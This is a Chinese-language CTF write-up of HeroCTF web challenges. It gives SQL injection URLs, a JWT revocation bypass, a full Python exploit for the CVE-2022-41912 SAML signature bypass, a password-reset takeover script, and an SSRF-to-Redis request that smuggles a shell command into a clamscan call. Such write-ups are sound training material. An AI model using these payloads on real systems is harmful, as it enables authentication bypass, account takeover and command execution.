最近空闲期,无聊就打打CTF,睡睡觉。

WEB

Tomwhat

package com.example.light;

import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.*;

public class LightServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {

        resp.setContentType("text/html;charset=UTF-8");
        HttpSession session = req.getSession();
        String username = (String) session.getAttribute("username");
        String error = (String) req.getAttribute("error");

        StringBuilder html = new StringBuilder();
        html.append("<html><body><h1>Light Side</h1>");

        if (error != null) {
            html.append("<p style='color:red;'>").append(error).append("</p>");
        }

        html.append("<form method='post'>");
        html.append("<input name='username' />");
        html.append("<button type='submit'>Join</button>");
        html.append("</form>");

        if (username != null) {
            html.append("<p>You are on the good side Lord ").append(username).append("</p>");
            html.append("<form action='/dark/' method='get'><button>Go dark</button></form>");
        }

        html.append("</body></html>");
        resp.getWriter().write(html.toString());
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        String username = req.getParameter("username");
        if ("darth_sidious".equalsIgnoreCase(username)) {
            req.setAttribute("error", "Forbidden username.");
            doGet(req, resp);
            return;
        }
        req.getSession().setAttribute("username", username);
        resp.sendRedirect(req.getContextPath() + "/");
    }
}
package com.example.dark;

import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.*;

public class AdminServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {

        resp.setContentType("text/html;charset=UTF-8");

        HttpSession s = req.getSession(false);
        String username = s == null ? null : (String) s.getAttribute("username");

        StringBuilder html = new StringBuilder("<html><body><h1>Admin Panel</h1>");

        if ("darth_sidious".equalsIgnoreCase(username)) {
            html.append("<p>Welcome Lord Sidious, Vador says: Hero{fake_flag}.</p>");
        } else {
            html.append("<p>Access denied.</p>");
        }

        html.append("</body></html>");
        resp.getWriter().write(html.toString());
    }
}

由于session统一管理可以共享,所以可以利用tomcat的session example生成一个username=darth_sidious的session,然后访问/dark/admin即可

http://dyn09.heroctf.fr:13717/examples/servlets/servlet/SessionExample?dataname=username&datavalue=darth_sidious
http://dyn09.heroctf.fr:13717/dark/admin

image.png

Revoked

联合注入获取admin1的哈希

http://dyn13.heroctf.fr:13576/employees?query=Alice%'union SELECT id, username, is_admin, password_hash FROM users--

然后hashcat爆破就行了
image.png

image.png

Revoked Revenge

首先写了历史jwt

http://dyn02.heroctf.fr:12228/employees?query=Alice%' UNION SELECT 1, id, 3, token FROM revoked_tokens--

找到管理员的

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOjEsImlzc3VlZCI6MTc2NDQyNTYzNS42MzY5MDM4fQ.Arejz0ENdgFXjOpGfxBYnJOV93NHZjNdBZUodJYSIBw

后面加个=就能绕过,因为一般jwt会忽略到base64末尾的=,加上不影响解析

"SELECT id FROM revoked_tokens WHERE token = ?", (token,)

image.png

SAMLevinson

根据描述可以是CVE-2022-41912 ,是一个SAML协议的一个解析漏洞。

来自GHSA-j2jp-wvqg-wc2g · 的合并拉取请求Crewjam/saml@aee3fb1

image.png

当 XML 中包含多个 <Assertion> 元素时,用 Go 原生反序列化(unmarshal)得到的 resp.Assertion 结构 只会保留最后一个 Assertion。换句话说,如果有两个 Assertion,只有第二个(最后一个)会被反序列化对象所表示。
攻击者可以利用这一差异,构造一个 SAML Response,包含 两个 Assertion

  1. 第一个 Assertion 是合法签名且有效的(例如普通用户的 Assertion)
  2. 第二个 Assertion 是伪造的(例如高权限账户的 Assertion),但不经过签名验证(因为签名验证只针对第一个 Assertion)
    然后写个脚本即可
    import requests
    import re
    import base64
    import html
    import random
    import string
    
    # ================= 配置区域 =================
    # 目标 APP (Service Provider)
    URL_APP = "http://web.heroctf.fr:8080"
    # 身份提供者 (Identity Provider)
    URL_IDP = "http://web.heroctf.fr:8081"
    
    # 题目提供的合法低权限账号
    USERNAME = "user"
    PASSWORD = "oyJPNYd3HgeBkaE%!rP#dZvqf2z*4$^qcCW4V6WM"
    # ===========================================
    
    # 创建 Session 以维持 Cookie
    s = requests.Session()
    s.headers.update({
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
    })
    
    def exploit():
        print(f"[*] 1. 访问 APP ({URL_APP}/flag),触发 SAML 流程...")
        try:
            r = s.get(f"{URL_APP}/flag", allow_redirects=True)
        except Exception as e:
            print(f"[-] 连接失败: {e}")
            return
    
        # 检查是否跳转到了 IDP 登录页
        if "sso" not in r.url and "SAMLRequest" not in r.text:
            print(f"[-] 未跳转到登录页,当前 URL: {r.url}")
            return
    
        print("[*] 2. 从页面提取 SAMLRequest 和 RelayState...")
        # 从 HTML hidden input 中提取,而不是从 URL 参数提取 (防止编码问题)
        req_match = re.search(r'name="SAMLRequest" value="(.*?)"', r.text)
        relay_match = re.search(r'name="RelayState" value="(.*?)"', r.text)
        
        if not req_match:
            print("[-] 无法提取 SAMLRequest。")
            return
    
        saml_request = html.unescape(req_match.group(1))
        relay_state = html.unescape(relay_match.group(1)) if relay_match else ""
    
        print("[*] 3. 在 IDP 登录获取合法的 SAMLResponse...")
        login_data = {
            "user": USERNAME,
            "password": PASSWORD,
            "SAMLRequest": saml_request,
            "RelayState": relay_state
        }
        
        # 发送登录请求
        r_login = s.post(f"{URL_IDP}/sso", data=login_data)
        
        if r_login.status_code != 200:
            print(f"[-] 登录失败,状态码: {r_login.status_code}")
            return
    
        # 提取 IDP 返回的 SAMLResponse (Base64)
        resp_match = re.search(r'name="SAMLResponse" value="(.*?)"', r_login.text)
        if not resp_match:
            print("[-] 登录后未找到 SAMLResponse,认证可能失败。")
            return
        
        raw_saml_response = html.unescape(resp_match.group(1))
        print(f"[+] 获取到合法 Response (长度: {len(raw_saml_response)})")
        
        # ================= 漏洞利用核心:构造双断言 =================
        print("[*] 4. 执行 CVE-2022-41912 攻击 (构造双断言)...")
        
        # A. 解码 XML
        xml_content = base64.b64decode(raw_saml_response).decode('utf-8')
    
        # B. 提取原始的合法 Assertion (带签名的)
        # 我们需要完整提取 <saml:Assertion ...> 到 </saml:Assertion>
        # 使用非贪婪匹配提取第一个 Assertion
        pattern = r'(<saml:Assertion.*?<\/saml:Assertion>)'
        match = re.search(pattern, xml_content, re.DOTALL)
        
        if not match:
            print("[-] 无法提取 Assertion,XML 结构可能不标准。")
            return
    
        valid_assertion = match.group(1)
        print("[+] 提取到 Valid Assertion (用于绕过签名验证)。")
    
        # C. 制作恶意的 Assertion (基于合法断言修改)
        evil_assertion = valid_assertion
        
        # 1. 移除签名 (删除 <ds:Signature>... </ds:Signature>)
        evil_assertion = re.sub(r'<ds:Signature.*?>.*?<\/ds:Signature>', '', evil_assertion, flags=re.DOTALL)
        
        # 2. 修改用户身份 (User -> Admin)
        # 替换 uid
        evil_assertion = evil_assertion.replace('>user<', '>admin<')
        # 替换组 (Users -> Administrators)
        evil_assertion = evil_assertion.replace('>Users<', '>Administrators<')
    
        # 3. 修改 ID (防止 ID 冲突导致解析报错)
        new_id = "id-" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=32))
        evil_assertion = re.sub(r'ID="[^"]*"', f'ID="{new_id}"', evil_assertion, count=1)
    
        # 4. 修改时间戳 (防止 403 Forbidden)
        # 强制将有效期覆盖为 2020年 - 2035年
        evil_assertion = re.sub(r'NotBefore="[^"]*"', 'NotBefore="2020-01-01T00:00:00Z"', evil_assertion)
        evil_assertion = re.sub(r'NotOnOrAfter="[^"]*"', 'NotOnOrAfter="2035-01-01T00:00:00Z"', evil_assertion)
    
        print("[+] 恶意 Assertion 构造完成。")
    
        # D. 拼接 XML (关键步骤:Valid 在前,Evil 在后)
        # 查找 Valid Assertion 在原文中的结束位置
        insert_pos = xml_content.find(valid_assertion) + len(valid_assertion)
        
        # 在 Valid Assertion 后面追加 Evil Assertion
        final_xml = xml_content[:insert_pos] + evil_assertion + xml_content[insert_pos:]
        
        # 验证拼接结果包含两个断言
        if final_xml.count("saml:Assertion") < 4: # 开始标签+结束标签 * 2 = 4
            print("[-] XML 拼接可能由问题,Assertion 数量不对。")
    
        # E. 重新编码为 Base64
        payload = base64.b64encode(final_xml.encode('utf-8')).decode('utf-8')
        
        # ================= 发送 Payload =================
        print("[*] 5. 发送 Payload 到 APP (SAML ACS)...")
        acs_url = f"{URL_APP}/saml/acs"
        
        # [关键] 伪造 Headers 绕过 Origin/Referer 检查
        spoofed_headers = {
            "Origin": URL_IDP,
            "Referer": f"{URL_IDP}/",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        
        acs_data = {
            "SAMLResponse": payload,
            "RelayState": relay_state
        }
        
        # 发送 POST 请求
        r_final = s.post(acs_url, data=acs_data, headers=spoofed_headers)
        
        print(f"[*] 响应状态码: {r_final.status_code}")
        
        # ================= 结果检查 =================
        if "Hero{" in r_final.text:
            print("\n" + "="*40)
            print("[SUCCESS] 攻击成功!Flag 如下:")
            # 提取 Flag
            flag = re.search(r'(Hero{.*?})', r_final.text)
            if flag:
                print(f"\n    {flag.group(1)}\n")
            else:
                print("Flag 匹配失败,请手动查看响应。")
            print("="*40 + "\n")
        else:
            print("[-] 攻击失败。")
            if "Administrators" in r_final.text:
                print("提示: 页面显示组为 Administrators,但 Flag 未出现 (可能需要特定 URL 或参数)。")
            elif "You are not part of" in r_final.text:
                print("提示: 依然提示权限不足 (Assertion 顺序可能反了,或者漏洞已修补)。")
            
            # 打印部分响应
            print("-" * 20 + " Response Preview " + "-" * 20)
            print(r_final.text[:500])
    
    if __name__ == "__main__":
        exploit()

image.png

Spring Drive

首先是token碰撞修改admin密码

POST /api/auth/send-password-reset HTTP/1.1
Host: dyn14.heroctf.fr:11713
Cookie: SESSION=M2RlOTExOGYtNTA0Yi00MjM5LWI1NDgtN2Y0ODBiMzhkMDlk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json

{
  "email": "[email protected]"
}


HTTP/1.1 200
Server: nginx/1.22.1
Date: Sun, 30 Nov 2025 00:40:09 GMT
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: content-type,x-requested-with
Access-Control-Allow-Credentials: true
Content-Length: 70

{"status":"success","message":"Password reset email sent","data":null}
GET /api/auth/email HTTP/1.1
Host: dyn14.heroctf.fr:11713
Cookie: SESSION=M2RlOTExOGYtNTA0Yi00MjM5LWI1NDgtN2Y0ODBiMzhkMDlk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate


HTTP/1.1 200
Server: nginx/1.22.1
Date: Sun, 30 Nov 2025 00:40:28 GMT
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: content-type,x-requested-with
Access-Control-Allow-Credentials: true
Content-Length: 132

{"status":"success","message":null,"data":["ResetPasswordToken [token=343d1a6a-a0a4-41ed-90ba-7b973de5f42f|2, email=[email protected]]"]}
POST /api/auth/send-password-reset HTTP/1.1
Host: dyn14.heroctf.fr:11713
Cookie: SESSION=M2RlOTExOGYtNTA0Yi00MjM5LWI1NDgtN2Y0ODBiMzhkMDlk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json

{
  "email": "[email protected]"
}

HTTP/1.1 200
Server: nginx/1.22.1
Date: Sun, 30 Nov 2025 00:41:42 GMT
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: content-type,x-requested-with
Access-Control-Allow-Credentials: true
Content-Length: 70

{"status":"success","message":"Password reset email sent","data":null}
POST /api/auth/reset-password HTTP/1.1
Host: dyn14.heroctf.fr:11713
Cookie: SESSION=M2RlOTExOGYtNTA0Yi00MjM5LWI1NDgtN2Y0ODBiMzhkMDlk
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json

{
  "email": "\u3DEE\u5F85\uD5D5\u5A05\uA19F",
  "token": "343d1a6a-a0a4-41ed-90ba-7b973de5f42f|1",
  "password": "NewAdminPass123"
}


HTTP/1.1 200
Server: nginx/1.22.1
Date: Sun, 30 Nov 2025 00:46:22 GMT
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: content-type,x-requested-with
Access-Control-Allow-Credentials: true
Content-Length: 70

{"status":"success","message":"Password reset successful","data":null}

写个脚本实现

import requests
import json
import re

class PasswordResetExploit:
    def __init__(self, base_url, session_cookie):
        self.base_url = base_url
        self.session_cookie = session_cookie
        self.headers = {
            'Cookie': f'SESSION={session_cookie}',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Content-Type': 'application/json',
            'Upgrade-Insecure-Requests': '1'
        }
        self.session = requests.Session()
        self.session.headers.update(self.headers)
    
    def send_password_reset(self, email):
        """发送密码重置请求"""
        url = f"{self.base_url}/api/auth/send-password-reset"
        data = {"email": email}
        
        response = self.session.post(url, json=data)
        print(f"[+] 发送密码重置请求给: {email}")
        print(f"    状态码: {response.status_code}")
        print(f"    响应: {response.text}")
        
        return response.json()
    
    def get_email_tokens(self):
        """获取邮箱中的重置token"""
        url = f"{self.base_url}/api/auth/email"
        
        response = self.session.get(url)
        print(f"[+] 获取邮箱token列表")
        print(f"    状态码: {response.status_code}")
        print(f"    响应: {response.text}")
        
        if response.status_code == 200:
            data = response.json()
            if data.get('status') == 'success' and data.get('data'):
                return data['data']
        return []
    
    def extract_token(self, token_data):
        """从响应中提取token"""
        tokens = []
        for item in token_data:
            # 使用正则表达式提取token
            match = re.search(r'token=([^|]+)\|(\d+)', item)
            if match:
                token = match.group(1)
                email_match = re.search(r'email=([^\]]+)', item)
                email = email_match.group(1) if email_match else "unknown"
                tokens.append({
                    'token': token,
                    'email': email,
                    'full_token': f"{token}|{match.group(2)}"
                })
        return tokens
    
    def obfuscate_email(self, email):
        """对邮箱进行Unicode混淆"""
        # 这是你提供的Unicode混淆字符串
        obfuscated = "\u3DEE\u5F85\uD5D5\u5A05\uA19F"
        print(f"[+] 邮箱混淆: {email} -> {obfuscated}")
        return obfuscated
    
    def reset_password(self, email, token, new_password, use_obfuscation=True):
        """执行密码重置"""
        url = f"{self.base_url}/api/auth/reset-password"
        
        # 根据选择使用混淆或原始邮箱
        target_email = self.obfuscate_email(email) if use_obfuscation else email
        
        payload = {
            "email": target_email,
            "token": token,
            "password": new_password
        }
        
        print(f"[+] 发送重置请求负载:")
        print(f"    Email: {target_email} (原始: {email})")
        print(f"    Token: {token}")
        print(f"    Password: {new_password}")
        
        response = self.session.post(url, json=payload)
        print(f"    状态码: {response.status_code}")
        print(f"    响应: {response.text}")
        
        return response.json()
    
    def exploit(self, target_email="[email protected]", new_password="NewAdminPass123"):
        """执行完整的攻击流程"""
        print("[*] 开始密码重置攻击流程...")
        
        # 1. 先为自己的测试邮箱请求重置,获取token格式
        print("\n[*] 步骤1: 获取token格式...")
        self.send_password_reset("[email protected]")
        
        # 2. 获取邮箱中的token
        print("\n[*] 步骤2: 获取邮箱token...")
        token_data = self.get_email_tokens()
        tokens = self.extract_token(token_data)
        
        if not tokens:
            print("[-] 未找到有效token")
            return False
        
        print(f"[+] 找到 {len(tokens)} 个token:")
        for t in tokens:
            print(f"    Token: {t['full_token']} (邮箱: {t['email']})")
        
        # 3. 为目标管理员邮箱发送重置请求
        print(f"\n[*] 步骤3: 为目标邮箱 {target_email} 发送重置请求...")
        self.send_password_reset(target_email)
        
        # 4. 尝试使用获取的token格式进行密码重置(带Unicode混淆)
        print(f"\n[*] 步骤4: 使用Unicode混淆尝试重置管理员密码...")
        
        # 使用第一个token的格式,但修改序号为目标邮箱的序号
        base_token = tokens[0]['token']
        
        # 尝试不同的序号(先尝试序号1,因为从你的成功请求中看到是|1)
        token_attempts = [
            f"{base_token}|1",  # 优先尝试序号1
            f"{base_token}|2",
            f"{base_token}|3", 
            f"{base_token}|4"
        ]
        
        for attempt_token in token_attempts:
            print(f"\n[*] 尝试Token: {attempt_token}")
            
            # 使用Unicode混淆
            result = self.reset_password(target_email, attempt_token, new_password, use_obfuscation=True)
            
            if result.get('status') == 'success':
                print(f"[+] 密码重置成功!")
                print(f"[+] 管理员邮箱: {target_email}")
                print(f"[+] 使用Token: {attempt_token}")
                print(f"[+] 新密码: {new_password}")
                
                
                return True
            else:
                print(f"[-] Token {attempt_token} 失败")
    
        return False

def main():
    # 配置参数
    BASE_URL = "http://192.168.31.210:8081"
    SESSION_COOKIE = "MThlOTBlYWMtZmZkYy00NDNjLThlOTMtYmFhMTViMjNlYjFl"
    TARGET_EMAIL = "[email protected]"
    NEW_PASSWORD = "12345678"
    
    # 创建攻击实例
    exploit = PasswordResetExploit(BASE_URL, SESSION_COOKIE)
    
    # 执行攻击
    success = exploit.exploit(TARGET_EMAIL, NEW_PASSWORD)
    
    if success:
        print("\n[+] 攻击成功完成!")
    else:
        print("\n[-] 攻击失败")

if __name__ == "__main__":
    main()

后面就是redis 打SSRF,直接在http_method构造redis语句然后命令拼接到ClamAVService

String command = String.format("clamscan --quiet '%s'", filePath);
ProcessBuilder processBuilder = new ProcessBuilder("/bin/sh", "-c", command);
POST /api/file/remote-upload HTTP/1.1
Host: dyn01.heroctf.fr:12149
Accept-Encoding: gzip, deflate
Cookie: SESSION=MThlOTBlYWMtZmZkYy00NDNjLThlOTMtYmFhMTViMjNlYjFl
Priority: u=0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Type: application/json
Accept: */*
Referer: http://dyn01.heroctf.fr:12149/
Origin: http://dyn01.heroctf.fr:12149
Content-Length: 66

{"url":"http://localhost:6379","filename":"11","httpMethod":"RPUSH clamav_queue \"/etc/passwd'; cp /app/flag* /usr/share/nginx/html/flag.txt #'\"\n"}

image.png